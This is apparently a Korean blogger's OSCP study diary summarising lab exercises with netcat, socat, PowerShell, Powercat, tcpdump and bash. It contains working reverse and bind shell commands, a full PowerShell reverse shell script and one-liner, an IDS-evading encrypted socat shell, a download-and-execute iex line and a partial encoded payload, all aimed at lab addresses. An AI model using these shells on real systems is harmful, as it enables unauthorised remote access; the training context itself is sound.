오늘은

 

 

 

PDF 문서 138쪽

동영상 강의는 Bash Scripting까지

진도 나감.

 

 

 

대부분 다 아는 내용이었지만

복습하는 마음으로 건너뛰지 않고

꼼꼼히 챙겨 봤다.

 

 

 

학습한 내용 중 중요한 부분을

따로 정리하여 아래 기록해 놓았는데

하나하나 차근차근 꼼꼼히 공부해

모두 내 것으로 만들자.

 

 

 


 

 

 

[목차]

 

 

 

1. NetCat

2. Socat

3. PowerShell & PowerCat

4. Bash Scripting

 

 

 


 

 

* ss / netstal 옵션 참고

┌──(root💀takudaddy)-[/oscp]
└─# ss -antlp | grep apache2                                                                                     2 ⨯
LISTEN 0   511   *:80    *:*    users:(("apache2",pid=605,fd=4),("apache2",pid=604,fd=4),("apache2",pid=602,fd=4),("apache2",pid=601,fd=4),("apache2",pid=600,fd=4),("apache2",pid=592,fd=4))

┌──(root💀takudaddy)-[/oscp]
└─# netstat -antlp                                 
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp6       0      0 :::80                   :::*                    LISTEN      592/apache2  

 

 


 

 

 

NETCAT

 

 

 

Netcat Bind Shell

윈도우(022)에서 리스너 기동

리눅스(04)가 윈도우(022)에 붙어보니

윈도우로 침투 성공

C:\Users\offsec> ipconfig
Windows IP Configuration
Ethernet adapter Local Area Connection:
Connection-specific DNS Suffix . :
IPv4 Address. . . . . . . . . . . : 10.11.0.22
Subnet Mask . . . . . . . . . . . : 255.255.0.0
Default Gateway . . . . . . . . . : 10.11.0.1
C:\Users\offsec> nc -nlvp 4444 -e cmd.exe
listening on [any] 4444 ...


kali@kali:~$ ip address show eth0 | grep inet
inet 10.11.0.4/16 brd 10.11.255.255 scope global dynamic eth0
kali@kali:~$ nc -nv 10.11.0.22 4444
(UNKNOWN) [10.11.0.22] 4444 (?) open
Microsoft Windows [Version 10.0.17134.590]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Users\offsec> ipconfig
Windows IP Configuration
Ethernet adapter Local Area Connection:
Connection-specific DNS Suffix . :
IPv4 Address. . . . . . . . . . . : 10.11.0.22
Subnet Mask . . . . . . . . . . . : 255.255.0.0
Default Gateway . . . . . . . . . : 10.11.0.1
Listing 87 - Using nc to connect to

 

 

 

Netcat Reverse Shell

윈도우(022)에서 리스너 기동

리눅스(04)가 윈도우(022)에 붙었는데

반대로 윈도우(022)에서 리눅스(04)로 침투한 게 됨

C:\Users\offsec> nc -nlvp 4444
listening on [any] 4444 ...

kali@kali:~$ ip address show eth0 | grep inet
inet 10.11.0.4/16 brd 10.11.255.255 scope global dynamic eth0
kali@kali:~$ nc -nv 10.11.0.22 4444 -e /bin/bash
(UNKNOWN) [10.11.0.22] 4444 (?) open

C:\Users\offsec>nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.11.0.22] from <UNKNOWN) [10.11.0.4] 43482
ip address show eth0 | grep inet
inet 10.11.0.4/16 brd 10.11.255.255 scope global dynamic eth0

 

 

 


 

 

 

SOCAT

 

 

 

Socat File transfer

kali@kali:~$ sudo socat TCP4-LISTEN:443,fork file:secret_passwords.txt


C:\Users\offsec> socat TCP4:10.11.0.4:443 file:received_secret_passwords.txt,create
C:\Users\offsec> type received_secret_passwords.txt
"try harder!!!"

 

 

 

Socat Reverse Shells

C:\Users\offsec> socat -d -d TCP4-LISTEN:443 STDOUT
... socat[4388] N listening on AF=2 0.0.0.0:443


kali@kali:~$ socat TCP4:10.11.0.22:443 EXEC:/bin/bash


... socat[4388] N accepting connection from AF=2 10.11.0.4:54720 on 10.11.0.22:443
... socat[4388] N using stdout for reading and writing
... socat[4388] N starting data transfer loop with FDs [4,4] and [1,1]
whoami
kali
id
uid=1000(kali) gid=1000(kali) groups=1000(kali)

 

 

 

 

socat Encrypted Bind Shells

IDS(침입탐지시스템) 회피할 때 쓰이고

SSL(Secure Socket Layer85) 인증서로 암호화.

암호화 키와 인증서 생성 / -x509 self-signed certificate instrad of a certificate request
kali@kali:~$ openssl req -newkey rsa:2048 -nodes -keyout bind_shell.key -x509 -days
362 -out bind_shell.crt
Generating a 2048 bit RSA private key
.....................+++
................................+++
writing new private key to 'bind_shell.key'
-----
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]:US
State or Province Name (full name) [Some-State]:Georgia
Locality Name (eg, city) []:Atlanta
Organization Name (eg, company) [Internet Widgits Pty Ltd]:Offsec
Organizational Unit Name (eg, section) []:Try Harder Department
Common Name (e.g. server FQDN or YOUR name) []:
Email Address []:
kali@kali:~$ cat bind_shell.key bind_shell.crt > bind_shell.pem


openssl로 리스너 생성 / cert는 위에서 만든 pem 파일 / verify 0dms ssl확인을 비활성화 /
fork는 리스너 연결되면 자식 프로세스 생성
kali@kali:~$ sudo socat OPENSSL-LISTEN:443,cert=bind_shell.pem,verify=0,fork
EXEC:/bin/bash


C:\Users\offsec> socat - OPENSSL:10.11.0.4:443,verify=0
id
uid=0(root) gid=0(root) groups=0(root)
whoami
root

 

 

 


 

 

 

PowerShell & Powercat

 

 

 

task-based command line shell and scripting language.

침투 테스트를 위한 강력한 도구.

IDE(통합개발환경) / ISE(통합스크립트환경)이 포함되어 있음

 

 

PowerShell Execution policy 설정

Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
PS C:\WINDOWS\system32> Set-ExecutionPolicy Unrestricted
Execution Policy Change
The execution policy helps protect you from scripts that you do not trust. Changing
the execution policy might expose you to the security risks described in the
about_Execution_Policies help topic at https:/go.microsoft.com/fwlink/?LinkID=135170.
Do you want to change the execution policy?
[Y] Yes [A] Yes to All [N] No [L] No to All [S] Suspend [?] Help (default is
"N"): y
PS C:\WINDOWS\system32> Get-ExecutionPolicy
Unrestricted

 

 

 

PowerShell에서 파일 받는 법

C:\Users\offsec> powershell -c "(new-object
System.Net.WebClient).DownloadFile('http://10.11.0.4/wget.exe','C:\Users\offsec\Deskto
p\wget.exe')"
C:\Users\offsec\Desktop> wget.exe -V
GNU Wget 1.9.1
Copyright (C) 2003 Free Software Foundation, Inc.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
Originally written by Hrvoje Niksic <hniksic@xemacs.org>.

 

 

 

 

Powershell Reverse Shells

kali@kali:~$ sudo nc -lnvp 443
listening on [any] 443 ...



$client = New-Object System.Net.Sockets.TCPClient('10.11.0.4',443);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
{
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush();
}
$client.Close();


한 줄로 바꾸면

C:\Users\offsec> powershell -c "$client = New-Object
System.Net.Sockets.TCPClient('10.11.0.4',443);$stream =
$client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0,
$bytes.Length)) -ne 0){;$data = (New-Object -TypeName
System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-
String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte =
([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Leng
th);$stream.Flush();}$client.Close()"


kali@kali:~$ sudo nc -lnvp 443
listening on [any] 443 ...
connect to [10.11.0.4] from (UNKNOWN) [10.11.0.22] 63515
PS C:\Users\offsec>

 

 

 

PowerShell Bind Shells

C:\Users\offsec> powershell -c "$listener = New-Object
System.Net.Sockets.TcpListener('0.0.0.0',443);$listener.start();$client =
$listener.AcceptTcpClient();$stream = $client.GetStream();[byte[]]$bytes =
0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data =
(New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback =
(iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '>
';$sendbyte =
([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Leng
th);$stream.Flush()};$client.Close();$listener.Stop()"


kali@kali:~$ nc -nv 10.11.0.22 443
(UNKNOWN) [10.11.0.22] 443 (https) open
ipconfig
Windows IP Configuration
Ethernet adapter Local Area Connection:
Connection-specific DNS Suffix . :
IPv4 Address. . . . . . . . . . . : 10.11.0.22
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 10.11.0.1
C:\Users\offsec>

 

 

 

PowerShell Powercat

PS C:\Users\Offsec> . .\powercat.ps1

PS C:\Users\Offsec> iex (New-Object
System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/po
wercat/master/powercat.ps1')

PS C:\Users\offsec> powercat
You must select either client mode (-c) or listen mode (-l).


PS C:\Users\offsec> powercat -h
powercat - Netcat, The Powershell Version
Github Repository: https://github.com/besimorhino/powercat
This script attempts to implement the features of netcat in a powershell
script. It also contains extra features such as built-in relays, execute
powershell, and a dnscat2 client.
Usage: powercat [-c or -l] [-p port] [options]
-c <ip> Client Mode. Provide the IP of the system you wish to connect to.
If you are using -dns, specify the DNS Server to send queries to.
-l Listen Mode. Start a listener on the port specified by -p.
-p <port> Port. The port to connect to, or the port to listen on.
-e <proc> Execute. Specify the name of the process to start.
...

 

 

 

Powercat File Transfers

kali@kali:~$ sudo nc -lnvp 443 > receiving_powercat.ps1
listening on [any] 443 ...
connect to [10.11.0.4] from (UNKNOWN) [10.11.0.22] 63661

PS C:\Users\Offsec> powercat -c 10.11.0.4 -p 443 -i C:\Users\Offsec\powercat.ps1

^C
kali@kali:~$ ls receiving_powercat.ps1
receiving_powercat.ps1
Listing

 

 

 

Powercat Reverse Shells

kali@kali:~$ sudo nc -lvp 443
listening on [any] 443 ...


PS C:\Users\offsec> powercat -c 10.11.0.4 -p 443 -e cmd.exe


kali@kali:~$ sudo nc -lvp 443
listening on [any] 443 ...
connect to [10.11.0.4] from (UNKNOWN) [10.11.0.22] 63699
Microsoft Windows [Version 10.0.17134.590]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Users\offsec>

 

 

 

Powercat Bind Shells

PS C:\Users\offsec> powercat -l -p 443 -e cmd.exe


kali@kali:~$ nc 10.11.0.22 443
Microsoft Windows [Version 10.0.17134.590]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Users\offsec>

 

 

Powercat Stand-Alone Payloads

kali@kali:~$ sudo nc -lnvp 443
listening on [any] 443 ...


PS C:\Users\offsec> powercat -c 10.11.0.4 -p 443 -e cmd.exe -ge >
encodedreverseshell.ps1

PS C:\Users\offsec> powershell.exe -E
ZgB1AG4AYwB0AGkAbwBuACAAUwB0AHIAZQBhAG0AMQBfAFMAZQB0AHUAcAAKAHsACgAKACAAIAAgACAAcABhAH
IAYQBtACgAJABGAHUAbgBjAFMAZQB0AHUAcABWAGEAcgBzACkACgAgACAAIAAgACQAYwAsACQAbAAsACQAcAAs
ACQAdAAgAD0AIAAkAEYAdQBuAGMAUwBlAHQAdQBwAFYAYQByAHMACgAgACAAIAAgAGkAZgAoACQAZwBsAG8AYg
BhAGwAOgBWAGUAcgBiAG8AcwBlACkAewAkAFYAZQByAGIAbwBzAGUAIAA9ACAAJABUAHIAdQBlAH0ACgAgACAA
IAAgACQARgB1AG4AYwBWAGEAcgBzACAAPQAgAEAAewB9AAoAIAAgACAAIABpAGYAKAAhACQAbAApAAoAIAAgAC
AAIAB7AAoAIAAgACAAIAAgACAAJABGAHUAbgBjAFYAYQByAHMAWwAiAGwAIgBdACAAPQAgACQARgBhAGwAcwBl
AAoAIAAgACAAIAAgACAAJABTAG8AYwBrAGUAdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdA
BlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAGMAcABDAGwAaQBlAG4AdAAKACAAIAAgACA
...



kali@kali:~$ sudo nc -lnvp 443
listening on [any] 443 ...
connect to [10.11.0.4] from (UNKNOWN) [10.11.0.22] 43725
PS C:\Users\offsec>

 

 

 


 

 

 

TCP dump

 

 

 

wireshark에서 특정 서비스 데이터 보고 싶을 때

display filter에 [tcp.port ==21] 입력 후 Follow TCP stream.

 

 

 

터미널에서 수행 시

kali@kali:~$ sudo tcpdump -r password_cracking_filtered.pcap
reading from file password_cracking_filtered.pcap, link-type EN10MB (Ethernet)
08:51:20.800917 IP 208.68.234.99.60509 > 172.16.40.10.81: Flags [S], seq 1855084074
..


kali@kali:~$ sudo tcpdump -n -r password_cracking_filtered.pcap | awk -F" " '{print
$5}' | sort | uniq -c | head
20164 172.16.40.10.81:        (81번 포트로 요청이 2만번이 넘는 것으로 보아 이건 server)
14 208.68.234.99.32768:       (이건 client)
14 208.68.234.99.32769:

-n DNS name lookup / -r to read from capture file / sort + uniq -c는 짝꿍(정렬 후 반복횟수 확인)

 

 

특정 범위 필터링

sudo tcpdump -n src host 172.16.40.10 -r password_cracking_filtered.pcap
...
08:51:20.801051 IP 172.16.40.10.81 > 208.68.234.99.60509: Flags [S.], seq 4166855389,
ack 1855084075, win 14480, options [mss 1460,sackOK,TS val 71430591 ecr
25538253,nop,wscale 4], length 0


sudo tcpdump -n dst host 172.16.40.10 -r password_cracking_filtered.pcap
...
08:51:20.801048 IP 208.68.234.99.60509 > 172.16.40.10.81: Flags [S], seq 1855084074,
win 14600, options [mss 1460,sackOK,TS val 25538253 ecr 0,nop,wscale 7], length 0


sudo tcpdump -n port 81 -r password_cracking_filtered.pcap
...
08:51:20.800917 IP 208.68.234.99.60509 > 172.16.40.10.81: Flags [S], seq 1855084074,
win 14600, options [mss 1460,sackOK,TS val 25538253 ecr 0,nop,wscale 7], length 0

 

 

패킷 데이터 HEX랑 ASCII로 확인하기

kali@kali:~$ sudo tcpdump -nX -r password_cracking_filtered.pcap
...
08:51:25.043062 IP 208.68.234.99.33313 > 172.16.40.10.81: Flags [P.], seq 1:140, ack 1
0x0000: 4500 00bf 158c 4000 3906 9cea d044 ea63 E.....@.9....D.c
0x0010: ac10 280a 8221 0051 a726 a77c 6fd8 ee8a ..(..!.Q.&.|o...
0x0020: 8018 0073 1c76 0000 0101 080a 0185 b2f2 ...s.v..........
0x0030: 0441 f5e3 4745 5420 2f2f 6164 6d69 6e20 .A..GET.//admin.
0x0040: 4854 5450 2f31 2e31 0d0a 486f 7374 3a20 HTTP/1.1..Host:.
0x0050: 6164 6d69 6e2e 6d65 6761 636f 7270 6f6e admin.megacorpon
0x0060: 652e 636f 6d3a 3831 0d0a 5573 6572 2d41 e.com:81..User-A
0x0070: 6765 6e74 3a20 5465 6820 466f 7265 7374 gent:.Teh.Forest
0x0080: 204c 6f62 7374 6572 0d0a 4175 7468 6f72 .Lobster..Author
0x0090: 697a 6174 696f 6e3a 2042 6173 6963 2059 ization:.Basic.Y
0x00a0: 5752 7461 5734 3662 6d46 7562 3352 6c59 WRtaW46bmFub3RlY
0x00b0: 3268 7562 3278 765a 336b 780d 0a0d 0a 2hub2xvZ3kx....

 

 

 

 

Advanced Header Filtering

 

 

kali@kali:~$ sudo tcpdump -A -n 'tcp[13] = 24' -r password_cracking_filtered.pcap
06:51:20.802032 IP 208.68.234.99.60509 > 172.16.40.10.81: Flags [P.], seq 1855084075:1
E.....@.9....D.c..(
.].Qn.V+.]*....s1......
.....A..GET //admin HTTP/1.1
Host: admin.megacorpone.com:81
User-Agent: Teh Forest Lobster

 

 

 


 

 

 

Bash Scripting

 

 

 

1. Variables

더블 쿼트 싱글 쿼트

 

kali@kali:~$ greeting='Hello World'
kali@kali:~$ echo $greeting
Hello World
kali@kali:~$ greeting2="New $greeting"
kali@kali:~$ echo $greeting2
New Hello World

 

 

변수 적용 시 backtick method(권장하지 않음)

kali@kali:~$ cat ./subshell.sh
#!/bin/bash -x
var1=value1
echo $var1
var2=value2
echo $var2

$(var1=newvar1)
echo $var1
`var2=newvar2`
echo $var2


kali@kali:~$ ./subshell.sh
+ var1=value1
+ echo value1
value1
+ var2=value2
+ echo value2
value2
++ var1=newvar1
+ echo value1
value1
++ var2=newvar2
+ echo value2
value2
kali@kali:~$

 

+ 부분은 현재 쉘에서 실행되었고

++ 부분은 서브 쉘에서 실행됨

 

백틱으로 선언한 변수는

서브 쉘에서 실행되기에

현재 쉘의 값에 반영되지 않는다.

 

 

 

2. Reading User Input

#!/bin/bash
echo 'takudaddy is genius: Y/N?'
read anything
echo "your answer is $anything!"

$ ./read.sh                                                      
Is Takudaddy genius: Y/N?
Yeeeeeeeeeees
Amazing! Your answer was Yeeeeeeeeeees!


=========================================


#!/bin/bash
# Prompt the user for credentials

read -p 'Username: ' username        # p 옵션은 프롬프트 지정 가능
read -sp 'Password: ' password
echo
echo "Thank you! Your creds are as follows: "$username "and" $password

$ ./user_credentials.sh                                                1 ⚙
Username: Takudaddy
Password: 
Thank you! Your creds are as follows: Takudaddy and itshidden

 

 

 

 

3. dlsploit.sh

kali@kali:~$ cat dlsploits.sh
#!/bin/bash
# Bash script to search for a given exploit and download all matches.
for e in $(searchsploit afd windows -w -t | grep http | cut -f 2 -d "|")
do
exp_name=$(echo $e | cut -d "/" -f 5)
url=$(echo $e | sed 's/exploits/raw/')
wget -q --no-check-certificate $url -O $exp_name
done

 

 

 

4. pngtohtml.sh

kali@kali:~/temp$ cat ./pngtohtml.sh
#!/bin/bash
# Bash script to examine the scan results through HTML.
echo "<HTML><BODY><BR>" > web.html
ls -1 *.png | awk -F : '{ print $1":\n<BR><IMG SRC=\""$1""$2"\" width=600><BR>"}' >>
web.html
echo "</BODY></HTML>" >> web.html


kali@kali:~/temp$ chmod +x ./pngtohtml.sh
kali@kali:~/temp$ ./pngtohtml.sh
kali@kali:~/temp$ firefox web.html

 

 

 

728x90

'OSCP > OSCP 공부일지' 카테고리의 다른 글

OSCP Day 4 : BOF (WIN32)  (0) 2021.04.29
OSCP Day 3  (0) 2021.04.27
OSCP 코스 시작  (5) 2021.04.26
OSCP 공략 Cheatsheet (v.02)  (0) 2021.04.19
OSCP 등록 과정 날짜 선택 변수 | 등록 완료  (4) 2021.04.16

+ Recent posts